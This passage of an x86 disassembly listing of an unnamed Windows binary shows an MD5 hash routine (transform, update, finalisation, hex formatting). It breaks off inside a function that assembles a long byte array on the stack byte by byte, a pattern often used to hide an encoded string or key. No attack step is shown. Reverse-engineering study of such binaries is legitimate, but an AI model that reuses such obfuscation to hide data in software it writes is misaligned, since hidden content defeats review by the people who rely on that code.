		shl	ebx, 0Eh
		or	edx, ebx
		mov	ebx, edi
		add	edx, edi
		xor	ebx, edx
		and	ebx, eax
		xor	ebx, edi
		add	ebx, [ebp+var_30]
		lea	esi, [esi+ebx-182C0438h]
		mov	ebx, esi
		shl	ebx, 14h
		shr	esi, 0Ch
		or	ebx, esi
		mov	esi, edx
		add	ebx, edx
		xor	esi, ebx
		and	esi, edi
		xor	esi, edx
		add	esi, [ebp+var_1C]
		lea	eax, [eax+esi+21E1CDE6h]
		mov	esi, eax
		shr	esi, 1Bh
		shl	eax, 5
		or	esi, eax
		mov	eax, ebx
		add	esi, ebx
		xor	eax, esi
		and	eax, edx
		xor	eax, ebx
		add	eax, [ebp+var_8]
		lea	edi, [edi+eax-3CC8F82Ah]
		mov	eax, edi
		shr	eax, 17h
		shl	edi, 9
		or	eax, edi
		add	eax, esi
		mov	edi, eax
		xor	edi, esi
		and	edi, ebx
		xor	edi, esi
		add	edi, [ebp+var_34]
		lea	edx, [edx+edi-0B2AF279h]
		mov	edi, edx
		shr	edi, 12h
		shl	edx, 0Eh
		or	edi, edx
		mov	edx, eax
		add	edi, eax
		xor	edx, edi
		and	edx, esi
		xor	edx, eax
		add	edx, [ebp+var_20]
		lea	ebx, [ebx+edx+455A14EDh]
		mov	edx, ebx
		shl	edx, 14h
		shr	ebx, 0Ch
		or	edx, ebx
		mov	ebx, edi
		add	edx, edi
		xor	ebx, edx
		and	ebx, eax
		xor	ebx, edi
		add	ebx, [ebp+var_C]
		lea	esi, [esi+ebx-561C16FBh]
		mov	ebx, esi
		shr	ebx, 1Bh
		shl	esi, 5
		or	ebx, esi
		mov	esi, edx
		add	ebx, edx
		xor	esi, ebx
		and	esi, edi
		xor	esi, edx
		add	esi, [ebp+var_38]
		lea	eax, [eax+esi-3105C08h]
		mov	esi, eax
		shr	esi, 17h
		shl	eax, 9
		or	esi, eax
		add	esi, ebx
		mov	eax, esi
		mov	[ebp+arg_0], esi
		xor	eax, ebx
		and	eax, edx
		xor	eax, ebx
		add	eax, [ebp+var_24]
		lea	eax, [edi+eax+676F02D9h]
		mov	edi, eax
		shr	edi, 12h
		shl	eax, 0Eh
		or	edi, eax
		add	edi, esi
		xor	[ebp+arg_0], edi
		mov	eax, [ebp+arg_0]
		and	eax, ebx
		xor	eax, esi
		add	eax, [ebp+var_10]
		lea	edx, [edx+eax-72D5B376h]
		mov	eax, edx
		shl	eax, 14h
		shr	edx, 0Ch
		or	eax, edx
		mov	edx, [ebp+arg_0]
		add	eax, edi
		xor	edx, eax
		add	edx, [ebp+var_2C]
		lea	ebx, [ebx+edx-5C6BEh]
		mov	edx, ebx
		shr	edx, 1Ch
		shl	ebx, 4
		or	edx, ebx
		mov	ebx, edi
		add	edx, eax
		xor	ebx, eax
		xor	ebx, edx
		add	ebx, [ebp+var_20]
		lea	esi, [esi+ebx-788E097Fh]
		mov	ebx, esi
		shr	ebx, 15h
		shl	esi, 0Bh
		or	ebx, esi
		add	ebx, edx
		mov	esi, ebx
		mov	[ebp+arg_0], ebx
		xor	esi, eax
		xor	esi, edx
		add	esi, [ebp+var_14]
		lea	edi, [edi+esi+6D9D6122h]
		mov	esi, edi
		shr	esi, 10h
		shl	edi, 10h
		or	esi, edi
		add	esi, ebx
		xor	[ebp+arg_0], esi
		mov	edi, [ebp+arg_0]
		xor	edi, edx
		add	edi, [ebp+var_8]
		lea	edi, [eax+edi-21AC7F4h]
		mov	eax, edi
		shl	eax, 17h
		shr	edi, 9
		or	eax, edi
		add	eax, esi
		mov	edi, [ebp+arg_0]
		xor	edi, eax
		add	edi, [ebp+var_3C]
		lea	edi, [edx+edi-5B4115BCh]
		mov	edx, edi
		shr	edx, 1Ch
		shl	edi, 4
		or	edx, edi
		mov	edi, esi
		add	edx, eax
		xor	edi, eax
		xor	edi, edx
		add	edi, [ebp+var_30]
		lea	ebx, [ebx+edi+4BDECFA9h]
		mov	edi, ebx
		shr	edi, 15h
		shl	ebx, 0Bh
		or	edi, ebx
		add	edi, edx
		mov	ebx, edi
		mov	[ebp+arg_0], edi
		xor	ebx, eax
		xor	ebx, edx
		add	ebx, [ebp+var_24]
		lea	esi, [esi+ebx-944B4A0h]
		mov	ebx, esi
		shr	ebx, 10h
		shl	esi, 10h
		or	ebx, esi
		add	ebx, edi
		xor	[ebp+arg_0], ebx
		mov	esi, [ebp+arg_0]
		xor	esi, edx
		add	esi, [ebp+var_18]
		lea	esi, [eax+esi-41404390h]
		mov	eax, esi
		shl	eax, 17h
		shr	esi, 9
		or	eax, esi
		mov	esi, [ebp+arg_0]
		add	eax, ebx
		xor	esi, eax
		add	esi, [ebp+var_C]
		lea	esi, [edx+esi+289B7EC6h]
		mov	edx, esi
		shr	edx, 1Ch
		shl	esi, 4
		or	edx, esi
		mov	esi, ebx
		add	edx, eax
		xor	esi, eax
		xor	esi, edx
		add	esi, [ebp+var_40]
		lea	edi, [edi+esi-155ED806h]
		mov	esi, edi
		shr	esi, 15h
		shl	edi, 0Bh
		or	esi, edi
		add	esi, edx
		mov	edi, esi
		mov	[ebp+arg_0], esi
		xor	edi, eax
		xor	edi, edx
		add	edi, [ebp+var_34]
		lea	ebx, [ebx+edi-2B10CF7Bh]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		add	edi, esi
		xor	[ebp+arg_0], edi
		mov	ebx, [ebp+arg_0]
		xor	ebx, edx
		add	ebx, [ebp+var_28]
		lea	ebx, [eax+ebx+4881D05h]
		mov	eax, ebx
		shl	eax, 17h
		shr	ebx, 9
		or	eax, ebx
		mov	ebx, [ebp+arg_0]
		add	eax, edi
		xor	ebx, eax
		add	ebx, [ebp+var_1C]
		lea	ebx, [edx+ebx-262B2FC7h]
		mov	edx, ebx
		shr	edx, 1Ch
		shl	ebx, 4
		or	edx, ebx
		mov	ebx, edi
		xor	ebx, eax
		add	edx, eax
		xor	ebx, edx
		add	ebx, [ebp+var_10]
		lea	ebx, [esi+ebx-1924661Bh]
		mov	esi, ebx
		shr	esi, 15h
		shl	ebx, 0Bh
		or	esi, ebx
		add	esi, edx
		mov	ebx, esi
		xor	ebx, eax
		xor	ebx, edx
		add	ebx, [ebp+var_4]
		lea	ebx, [edi+ebx+1FA27CF8h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		mov	ebx, esi
		add	edi, esi
		xor	ebx, edi
		xor	ebx, edx
		add	ebx, [ebp+var_38]
		lea	eax, [eax+ebx-3B53A99Bh]
		mov	ebx, eax
		shl	ebx, 17h
		shr	eax, 9
		or	ebx, eax
		mov	eax, esi
		add	ebx, edi
		not	eax
		or	eax, ebx
		xor	eax, edi
		add	eax, [ebp+var_40]
		lea	edx, [edx+eax-0BD6DDBCh]
		mov	eax, edx
		shr	eax, 1Ah
		shl	edx, 6
		or	eax, edx
		mov	edx, edi
		add	eax, ebx
		not	edx
		or	edx, eax
		xor	edx, ebx
		add	edx, [ebp+var_24]
		lea	esi, [esi+edx+432AFF97h]
		mov	edx, esi
		shr	edx, 16h
		shl	esi, 0Ah
		or	edx, esi
		mov	esi, ebx
		add	edx, eax
		not	esi
		or	esi, edx
		xor	esi, eax
		add	esi, [ebp+var_8]
		lea	edi, [edi+esi-546BDC59h]
		mov	esi, edi
		shr	esi, 11h
		shl	edi, 0Fh
		or	esi, edi
		mov	edi, eax
		add	esi, edx
		not	edi
		or	edi, esi
		xor	edi, edx
		add	edi, [ebp+var_2C]
		lea	ebx, [ebx+edi-36C5FC7h]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, edx
		add	edi, esi
		not	ebx
		or	ebx, edi
		xor	ebx, esi
		add	ebx, [ebp+var_10]
		lea	ebx, [eax+ebx+655B59C3h]
		mov	eax, ebx
		shl	ebx, 6
		shr	eax, 1Ah
		or	eax, ebx
		mov	ebx, esi
		not	ebx
		add	eax, edi
		or	ebx, eax
		xor	ebx, edi
		add	ebx, [ebp+var_34]
		lea	ebx, [edx+ebx-70F3336Eh]
		mov	edx, ebx
		shl	ebx, 0Ah
		shr	edx, 16h
		or	edx, ebx
		mov	ebx, edi
		not	ebx
		add	edx, eax
		or	ebx, edx
		xor	ebx, eax
		add	ebx, [ebp+var_18]
		lea	ebx, [esi+ebx-100B83h]
		mov	esi, ebx
		shl	ebx, 0Fh
		shr	esi, 11h
		or	esi, ebx
		mov	ebx, eax
		add	esi, edx
		not	ebx
		or	ebx, esi
		xor	ebx, edx
		add	ebx, [ebp+var_3C]
		lea	ebx, [edi+ebx-7A7BA22Fh]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, edx
		add	edi, esi
		not	ebx
		or	ebx, edi
		xor	ebx, esi
		add	ebx, [ebp+var_20]
		lea	ebx, [eax+ebx+6FA87E4Fh]
		mov	eax, ebx
		shr	eax, 1Ah
		shl	ebx, 6
		or	eax, ebx
		mov	ebx, esi
		add	eax, edi
		not	ebx
		or	ebx, eax
		xor	ebx, edi
		add	ebx, [ebp+var_4]
		lea	ebx, [edx+ebx-1D31920h]
		mov	edx, ebx
		shr	edx, 16h
		shl	ebx, 0Ah
		or	edx, ebx
		mov	ebx, edi
		add	edx, eax
		not	ebx
		or	ebx, edx
		xor	ebx, eax
		add	ebx, [ebp+var_28]
		lea	ebx, [esi+ebx-5CFEBCECh]
		mov	esi, ebx
		shr	esi, 11h
		shl	ebx, 0Fh
		or	esi, ebx
		mov	ebx, eax
		add	esi, edx
		not	ebx
		or	ebx, esi
		xor	ebx, edx
		add	ebx, [ebp+var_C]
		lea	ebx, [edi+ebx+4E0811A1h]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, edx
		add	edi, esi
		not	ebx
		or	ebx, edi
		xor	ebx, esi
		add	ebx, [ebp+var_30]
		lea	ebx, [eax+ebx-8AC817Eh]
		mov	eax, ebx
		shr	eax, 1Ah
		shl	ebx, 6
		or	eax, ebx
		mov	ebx, esi
		add	eax, edi
		not	ebx
		or	ebx, eax
		xor	ebx, edi
		add	ebx, [ebp+var_14]
		lea	edx, [edx+ebx-42C50DCBh]
		mov	ebx, edx
		shr	ebx, 16h
		shl	edx, 0Ah
		or	ebx, edx
		mov	edx, edi
		add	ebx, eax
		not	edx
		or	edx, ebx
		xor	edx, eax
		add	edx, [ebp+var_38]
		lea	esi, [esi+edx+2AD7D2BBh]
		mov	edx, esi
		shr	edx, 11h
		shl	esi, 0Fh
		or	edx, esi
		mov	esi, eax
		add	edx, ebx
		not	esi
		or	esi, edx
		xor	esi, ebx
		add	esi, [ebp+var_1C]
		lea	edi, [edi+esi-14792C6Fh]
		mov	esi, [ecx+8]
		add	esi, eax
		mov	eax, edi
		shl	eax, 15h
		shr	edi, 0Bh
		or	eax, edi
		mov	[ecx+8], esi
		add	eax, [ecx+0Ch]
		pop	edi
		pop	esi
		add	eax, edx
		mov	[ecx+0Ch], eax
		mov	eax, [ecx+10h]
		add	eax, edx
		mov	[ecx+10h], eax
		mov	eax, [ecx+14h]
		add	eax, ebx
		pop	ebx
		mov	[ecx+14h], eax
		leave
		retn	4
sub_41C2AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC38	proc near		; CODE XREF: sub_41CCCB+66p
					; sub_41CCCB+73p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		mov	ecx, [ebp+arg_4]
		push	edi
		test	ecx, ecx
		jz	short loc_41CCC5
		mov	eax, [esi]
		push	ebx
		mov	edi, eax
		push	40h
		and	edi, 3Fh
		pop	ebx
		add	eax, ecx
		sub	ebx, edi
		cmp	eax, ecx
		mov	[esi], eax
		jnb	short loc_41CC5E
		inc	dword ptr [esi+4]


loc_41CC5E:				; CODE XREF: sub_41CC38+21j
		test	edi, edi
		jz	short loc_41CC8D
		cmp	ecx, ebx
		jb	short loc_41CC8D
		push	ebx
		lea	eax, [edi+esi+18h]
		push	[ebp+arg_0]
		push	eax
		call	sub_4223F0
		add	esp, 0Ch
		lea	eax, [esi+18h]
		mov	ecx, esi
		push	eax
		call	sub_41C2AB
		sub	[ebp+arg_4], ebx
		add	[ebp+arg_0], ebx
		mov	ecx, [ebp+arg_4]
		xor	edi, edi


loc_41CC8D:				; CODE XREF: sub_41CC38+28j
					; sub_41CC38+2Cj
		cmp	ecx, 40h
		jb	short loc_41CCAF
		mov	ebx, ecx
		shr	ebx, 6


loc_41CC97:				; CODE XREF: sub_41CC38+72j
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_41C2AB
		sub	[ebp+arg_4], 40h
		add	[ebp+arg_0], 40h
		dec	ebx
		jnz	short loc_41CC97
		mov	ecx, [ebp+arg_4]


loc_41CCAF:				; CODE XREF: sub_41CC38+58j
		test	ecx, ecx
		pop	ebx
		jz	short loc_41CCC5
		push	ecx
		lea	eax, [edi+esi+18h]
		push	[ebp+arg_0]
		push	eax
		call	sub_4223F0
		add	esp, 0Ch


loc_41CCC5:				; CODE XREF: sub_41CC38+Cj
					; sub_41CC38+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_41CC38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CCCB	proc near		; CODE XREF: sub_41CDB7+24p

var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		push	38h
		mov	edi, [esi]
		mov	eax, [esi+4]
		mov	ecx, edi
		shl	eax, 3
		shr	ecx, 1Dh
		or	eax, ecx
		mov	ecx, edi
		shl	ecx, 3
		mov	edx, ecx
		mov	[ebp+var_8], cl
		shr	edx, 8
		mov	[ebp+var_7], dl
		mov	edx, ecx
		shr	ecx, 18h
		mov	[ebp+var_5], cl
		mov	ecx, eax
		shr	ecx, 8
		mov	[ebp+var_3], cl
		mov	[ebp+var_4], al
		mov	ecx, eax
		and	edi, 3Fh
		shr	eax, 18h
		mov	[ebp+var_1], al
		pop	eax
		shr	edx, 10h
		shr	ecx, 10h
		cmp	edi, eax
		mov	[ebp+var_6], dl
		mov	[ebp+var_2], cl
		jb	short loc_41CD27
		push	78h
		pop	eax


loc_41CD27:				; CODE XREF: sub_41CCCB+57j
		sub	eax, edi
		mov	ecx, esi
		push	eax
		push	offset dword_448C58
		call	sub_41CC38
		lea	eax, [ebp+var_8]
		push	8
		push	eax
		mov	ecx, esi
		call	sub_41CC38
		mov	eax, [ebp+arg_0]
		mov	cl, [esi+8]
		pop	edi
		mov	[eax], cl
		mov	ecx, [esi+8]
		shr	ecx, 8
		mov	[eax+1], cl
		mov	cl, [esi+0Ah]
		mov	[eax+2], cl
		mov	cl, [esi+0Bh]
		mov	[eax+3], cl
		mov	cl, [esi+0Ch]
		mov	[eax+4], cl
		mov	ecx, [esi+0Ch]
		shr	ecx, 8
		mov	[eax+5], cl
		mov	cl, [esi+0Eh]
		mov	[eax+6], cl
		mov	cl, [esi+0Fh]
		mov	[eax+7], cl
		mov	cl, [esi+10h]
		mov	[eax+8], cl
		mov	ecx, [esi+10h]
		shr	ecx, 8
		mov	[eax+9], cl
		mov	cl, [esi+12h]
		mov	[eax+0Ah], cl
		mov	cl, [esi+13h]
		mov	[eax+0Bh], cl
		mov	cl, [esi+14h]
		mov	[eax+0Ch], cl
		mov	ecx, [esi+14h]
		shr	ecx, 8
		mov	[eax+0Dh], cl
		mov	cl, [esi+16h]
		mov	[eax+0Eh], cl
		mov	cl, [esi+17h]
		mov	[eax+0Fh], cl
		pop	esi
		leave
		retn	4
sub_41CCCB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CDB7	proc near		; CODE XREF: sub_41CE88+3Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		call	sub_41C287
		push	[esp+4+arg_0]
		call	sub_422120
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_41CC38
		push	[esp+4+arg_4]
		mov	ecx, esi
		call	sub_41CCCB
		pop	esi
		retn	8
sub_41CDB7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CDE4	proc near		; CODE XREF: sub_41CE88+46p

arg_0		= dword	ptr  4

		push	esi
		push	1
		push	28h
		call	sub_423F63
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_0]
		movzx	ecx, byte ptr [eax+10h]
		push	ecx
		movzx	ecx, byte ptr [eax+0Fh]
		push	ecx
		movzx	ecx, byte ptr [eax+0Eh]
		push	ecx
		movzx	ecx, byte ptr [eax+0Dh]
		push	ecx
		movzx	ecx, byte ptr [eax+0Ch]
		push	ecx
		movzx	ecx, byte ptr [eax+0Bh]
		push	ecx
		movzx	ecx, byte ptr [eax+0Ah]
		push	ecx
		movzx	ecx, byte ptr [eax+9]
		push	ecx
		movzx	ecx, byte ptr [eax+8]
		push	ecx
		movzx	ecx, byte ptr [eax+7]
		push	ecx
		movzx	ecx, byte ptr [eax+6]
		push	ecx
		movzx	ecx, byte ptr [eax+5]
		push	ecx
		movzx	ecx, byte ptr [eax+4]
		push	ecx
		movzx	ecx, byte ptr [eax+3]
		push	ecx
		movzx	ecx, byte ptr [eax+2]
		push	ecx
		movzx	ecx, byte ptr [eax+1]
		movzx	eax, byte ptr [eax]
		push	ecx
		push	eax
		push	offset a02x02x02x02x02 ; "%02x%02x%02x%02x%02x%02x%02x%02x%02x%02"...
		push	esi
		call	sub_422063
		add	esp, 54h
		mov	eax, esi
		pop	esi
		retn	4
sub_41CDE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CE5C	proc near		; CODE XREF: sub_41C27B+3p
		push	esi
		mov	esi, ecx
		push	40h
		push	0
		lea	eax, [esi+18h]
		push	eax
		call	sub_4221F0
		push	10h
		lea	eax, [esi+8]
		push	0
		push	eax
		call	sub_4221F0
		push	8
		push	0
		push	esi
		call	sub_4221F0
		add	esp, 24h
		pop	esi
		retn
sub_41CE5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CE88	proc near		; CODE XREF: sub_403B2C+81Bp
					; sub_419B2F+20Ep
		mov	eax, offset loc_42EF4A
		call	sub_423A68
		push	ecx
		push	esi
		push	edi
		push	58h
		call	sub_423F55
		pop	ecx
		mov	ecx, eax
		mov	[ebp-10h], ecx
		xor	esi, esi
		cmp	ecx, esi
		mov	[ebp-4], esi
		jz	short loc_41CEB2
		call	sub_41C27B
		mov	esi, eax


loc_41CEB2:				; CODE XREF: sub_41CE88+21j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	11h
		call	sub_423F55
		pop	ecx
		mov	edi, eax
		push	edi
		mov	ecx, esi
		push	dword ptr [ebp+8]
		call	sub_41CDB7
		push	edi
		mov	ecx, esi
		call	sub_41CDE4
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41CE88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CEE1	proc near		; CODE XREF: sub_403B2C+2EDp
					; sub_403B2C+3DDp ...

var_448		= byte ptr -448h
var_298		= byte ptr -298h
var_E8		= byte ptr -0E8h
var_E7		= byte ptr -0E7h
var_E6		= byte ptr -0E6h
var_E5		= byte ptr -0E5h
var_E4		= byte ptr -0E4h
var_E3		= byte ptr -0E3h
var_E2		= byte ptr -0E2h
var_E1		= byte ptr -0E1h
var_E0		= byte ptr -0E0h
var_DF		= byte ptr -0DFh
var_DE		= byte ptr -0DEh
var_DD		= byte ptr -0DDh
var_DC		= byte ptr -0DCh
var_DB		= byte ptr -0DBh
var_DA		= byte ptr -0DAh
var_D9		= byte ptr -0D9h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_D6		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_D4		= byte ptr -0D4h
var_D3		= byte ptr -0D3h
var_D2		= byte ptr -0D2h
var_D1		= byte ptr -0D1h
var_D0		= byte ptr -0D0h
var_CF		= byte ptr -0CFh
var_CE		= byte ptr -0CEh
var_CD		= byte ptr -0CDh
var_CC		= byte ptr -0CCh
var_CB		= byte ptr -0CBh
var_CA		= byte ptr -0CAh
var_C9		= byte ptr -0C9h
var_C8		= byte ptr -0C8h
var_C7		= byte ptr -0C7h
var_C6		= byte ptr -0C6h
var_C5		= byte ptr -0C5h
var_C4		= byte ptr -0C4h
var_C3		= byte ptr -0C3h
var_C2		= byte ptr -0C2h
var_C1		= byte ptr -0C1h
var_C0		= byte ptr -0C0h
var_BF		= byte ptr -0BFh
var_BE		= byte ptr -0BEh
var_BD		= byte ptr -0BDh
var_BC		= byte ptr -0BCh
var_BB		= byte ptr -0BBh
var_BA		= byte ptr -0BAh
var_B9		= byte ptr -0B9h
var_B8		= byte ptr -0B8h
var_B7		= byte ptr -0B7h
var_B6		= byte ptr -0B6h
var_B5		= byte ptr -0B5h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_B2		= byte ptr -0B2h
var_B1		= byte ptr -0B1h
var_B0		= byte ptr -0B0h
var_AF		= byte ptr -0AFh
var_AE		= byte ptr -0AEh
var_AD		= byte ptr -0ADh
var_AC		= byte ptr -0ACh
var_AB		= byte ptr -0ABh
var_AA		= byte ptr -0AAh
var_A9		= byte ptr -0A9h
var_A8		= byte ptr -0A8h
var_A7		= byte ptr -0A7h
var_A6		= byte ptr -0A6h
var_A5		= byte ptr -0A5h
var_A4		= byte ptr -0A4h
var_A3		= byte ptr -0A3h
var_A2		= byte ptr -0A2h
var_A1		= byte ptr -0A1h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_9E		= byte ptr -9Eh
var_9D		= byte ptr -9Dh
var_9C		= byte ptr -9Ch
var_9B		= byte ptr -9Bh
var_9A		= byte ptr -9Ah
var_99		= byte ptr -99h
var_98		= byte ptr -98h
var_97		= byte ptr -97h
var_96		= byte ptr -96h
var_95		= byte ptr -95h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_91		= byte ptr -91h
var_90		= byte ptr -90h
var_8F		= byte ptr -8Fh
var_8E		= byte ptr -8Eh
var_8D		= byte ptr -8Dh
var_8C		= byte ptr -8Ch
var_8B		= byte ptr -8Bh
var_8A		= byte ptr -8Ah
var_89		= byte ptr -89h
var_88		= byte ptr -88h
var_87		= byte ptr -87h
var_86		= byte ptr -86h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_83		= byte ptr -83h
var_82		= byte ptr -82h
var_81		= byte ptr -81h
var_80		= byte ptr -80h
var_7F		= byte ptr -7Fh
var_7E		= byte ptr -7Eh
var_7D		= byte ptr -7Dh
var_7C		= byte ptr -7Ch
var_7B		= byte ptr -7Bh
var_7A		= byte ptr -7Ah
var_79		= byte ptr -79h
var_78		= byte ptr -78h
var_77		= byte ptr -77h
var_76		= byte ptr -76h
var_75		= byte ptr -75h
var_74		= byte ptr -74h
var_73		= byte ptr -73h
var_72		= byte ptr -72h
var_71		= byte ptr -71h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= byte ptr -6Eh
var_6D		= byte ptr -6Dh
var_6C		= byte ptr -6Ch
var_6B		= byte ptr -6Bh
var_6A		= byte ptr -6Ah
var_69		= byte ptr -69h
var_68		= byte ptr -68h
var_67		= byte ptr -67h
var_66		= byte ptr -66h
var_65		= byte ptr -65h
var_64		= byte ptr -64h
var_63		= byte ptr -63h
var_62		= byte ptr -62h
var_61		= byte ptr -61h
var_60		= byte ptr -60h
var_5F		= byte ptr -5Fh
var_5E		= byte ptr -5Eh
var_5D		= byte ptr -5Dh
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= byte ptr -5Ah
var_59		= byte ptr -59h
var_58		= byte ptr -58h
var_57		= byte ptr -57h
var_56		= byte ptr -56h
var_55		= byte ptr -55h
var_54		= byte ptr -54h
var_53		= byte ptr -53h
var_52		= byte ptr -52h
var_51		= byte ptr -51h
var_50		= byte ptr -50h
var_4F		= byte ptr -4Fh
var_4E		= byte ptr -4Eh
var_4D		= byte ptr -4Dh
var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_4A		= byte ptr -4Ah
var_49		= byte ptr -49h
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= byte ptr -46h
var_45		= byte ptr -45h
var_44		= byte ptr -44h
var_43		= byte ptr -43h
var_42		= byte ptr -42h
var_41		= byte ptr -41h
var_40		= byte ptr -40h
var_3F		= byte ptr -3Fh
var_3E		= byte ptr -3Eh
var_3D		= byte ptr -3Dh
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh
var_3A		= byte ptr -3Ah
var_39		= byte ptr -39h
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_36		= byte ptr -36h
var_35		= byte ptr -35h
var_34		= byte ptr -34h
var_33		= byte ptr -33h
var_32		= byte ptr -32h
var_31		= byte ptr -31h
var_30		= byte ptr -30h
var_2F		= byte ptr -2Fh
var_2E		= byte ptr -2Eh
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= byte ptr -2Ah
var_29		= byte ptr -29h
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= byte ptr -26h
var_25		= byte ptr -25h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= byte ptr -22h
var_21		= byte ptr -21h
var_20		= byte ptr -20h
var_1F		= byte ptr -1Fh
var_1E		= byte ptr -1Eh
var_1D		= byte ptr -1Dh
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 448h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	[ebp+var_E8], 0Ah
		mov	[ebp+var_E7], 0Eh
		mov	[ebp+var_E6], 20h
		mov	[ebp+var_E5], 48h
		mov	[ebp+var_E4], 0Bh
		mov	[ebp+var_E3], 2Bh
		mov	[ebp+var_E2], 0Ch
		mov	[ebp+var_E1], 23h
		mov	[ebp+var_E0], 3Ah
		mov	[ebp+var_DF], 27h
		mov	[ebp+var_DE], 28h
		mov	[ebp+var_DD], 5Eh
		mov	[ebp+var_DC], 2Ah
		mov	[ebp+var_DB], 1Eh
		mov	[ebp+var_DA], 2Dh
		mov	[ebp+var_D9], 5Ah
		mov	[ebp+var_D8], 1Bh
		mov	[ebp+var_D7], 0Fh
		mov	[ebp+var_D6], 4Ch
		mov	[ebp+var_D5], 44h
		mov	[ebp+var_D4], 16h
		mov	[ebp+var_D3], 4
		mov	[ebp+var_D2], 57h
		mov	[ebp+var_D1], 23h
		mov	[ebp+var_D0], 11h
		mov	[ebp+var_CF], 53h
		mov	[ebp+var_CE], 38h
		mov	[ebp+var_CD], 13h
		mov	[ebp+var_CC], 0Dh
		mov	[ebp+var_CB], 12h
		mov	[ebp+var_CA], 25h
		mov	[ebp+var_C9], 1Ch
		mov	[ebp+var_C8], 30h
		mov	[ebp+var_C7], 12h
		mov	[ebp+var_C6], 50h
		mov	[ebp+var_C5], 4Fh
		mov	[ebp+var_C4], 39h
		mov	[ebp+var_C3], 10h
		mov	[ebp+var_C2], 42h
		mov	[ebp+var_C1], 1Fh
		mov	[ebp+var_C0], 37h
		mov	[ebp+var_BF], 1Dh
		mov	[ebp+var_BE], 41h
		mov	[ebp+var_BD], 55h
		mov	[ebp+var_BC], 2Ch
		mov	[ebp+var_BB], 41h
		mov	[ebp+var_BA], 2Ch
		mov	[ebp+var_B9], 4Eh
		mov	[ebp+var_B8], 5Dh
		mov	[ebp+var_B7], 17h
		mov	[ebp+var_B6], 5Bh
		mov	[ebp+var_B5], 1Ch
		mov	[ebp+var_B4], 44h
		mov	[ebp+var_B3], 1Dh
		mov	[ebp+var_B2], 25h
		mov	[ebp+var_B1], 22h
		mov	[ebp+var_B0], 2Fh
		mov	[ebp+var_AF], 2Bh
		mov	[ebp+var_AE], 58h
		mov	[ebp+var_AD], 2Eh
		mov	[ebp+var_AC], 16h
		mov	[ebp+var_AB], 41h
		mov	[ebp+var_AA], 13h
		mov	[ebp+var_A9], 30h
		mov	[ebp+var_A8], 59h
		mov	[ebp+var_A7], 38h
		mov	[ebp+var_A6], 27h
		mov	[ebp+var_A5], 35h
		mov	[ebp+var_A4], 1
		mov	[ebp+var_A3], 11h
		mov	[ebp+var_A2], 0Bh
		mov	[ebp+var_A1], 0Ch
		mov	[ebp+var_A0], 0Dh
		mov	[ebp+var_9F], 43h
		mov	[ebp+var_9E], 45h
		mov	[ebp+var_9D], 19h
		mov	[ebp+var_9C], 13h
		mov	[ebp+var_9B], 22h
		mov	[ebp+var_9A], 39h
		mov	[ebp+var_99], 45h
		mov	[ebp+var_98], 41h
		mov	[ebp+var_97], 14h
		mov	[ebp+var_96], 2Eh
		mov	[ebp+var_95], 3Dh
		mov	[ebp+var_94], 4Fh
		mov	[ebp+var_93], 13h
